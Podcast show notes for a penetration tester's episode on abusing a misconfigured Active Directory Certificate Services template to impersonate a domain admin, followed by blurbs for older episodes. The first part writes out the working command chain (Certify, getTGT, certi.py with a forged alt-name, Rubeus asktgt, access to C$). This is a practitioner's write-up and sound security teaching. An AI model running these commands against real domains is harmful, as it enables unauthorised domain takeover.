7MS #501: Tales of Pentest Pwnage - Part 31

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Avsnitt(719)

7MS #270: IDS on a Budget - Part 4

7MS #270: IDS on a Budget - Part 4

I spent a bunch of time with Security Onion the last couple week's and have been lovin' it! I ran the install, took all the defaults, ran the updates, and pretty much just let it burn in on my prod (h...

3 Aug 201712min

7MS #269: Documentation

7MS #269: Documentation

Documentation is super boring, right? Yet it's critical to getting your client/audience excited about making their security better! In this episode I talk about my mixed feelings towards the "big" sta...

27 Juli 201713min

7MS #268: IDS on a Budget - Part 3

7MS #268: IDS on a Budget - Part 3

Been having a blast working with the beta branch of the Sweet Security project and it anxious to try the latest fixes of the beta branch. Give it a look! I also spent a lot of time the last few nights...

19 Juli 201712min

7MS #267: Backup Disasters

7MS #267: Backup Disasters

Today's episode is a horror story about how I recently lost 5+ years of CrashPlan backups due to what I'm calling a...small clerical error. Yes, this oopsie was 100% my fault, but I think backup provi...

18 Juli 201711min

7MS #266: IDS on a Budget - Part 2

7MS #266: IDS on a Budget - Part 2

This week I've continued to play with the awesome Sweet Security IDS solution you can throw on a Raspberry Pi 3. A big update to share is that there is a beta branch which has some cool new features, ...

13 Juli 201710min

7MS 265: IDS on a Budget - Part 1

7MS 265: IDS on a Budget - Part 1

I've been wanting to get a Bro IDS installed for a long time now - and for several reasons: It looks fun! My customers have expressed interest It will be part of my upcoming ILTACON session. S...

5 Juli 201710min

7MS #264: Hacking Wordpress

7MS #264: Hacking Wordpress

I was pleasantly surprised to see a Wordpress site fall into a pentest scope this past week. One helpful tool to get familiar with when attacking Wordpress sites is wpscan, which is built right into K...

29 Juni 201711min

7MS #263: Make Nessus Reporting Fun Again!

7MS #263: Make Nessus Reporting Fun Again!

Tell me I can't be the only one who regularly wants to combine a bunch of small Nessus scans files into a big fat Nessus scan file, and then make pretty pictures/graphs/summaries that the customer can...

25 Juni 201713min

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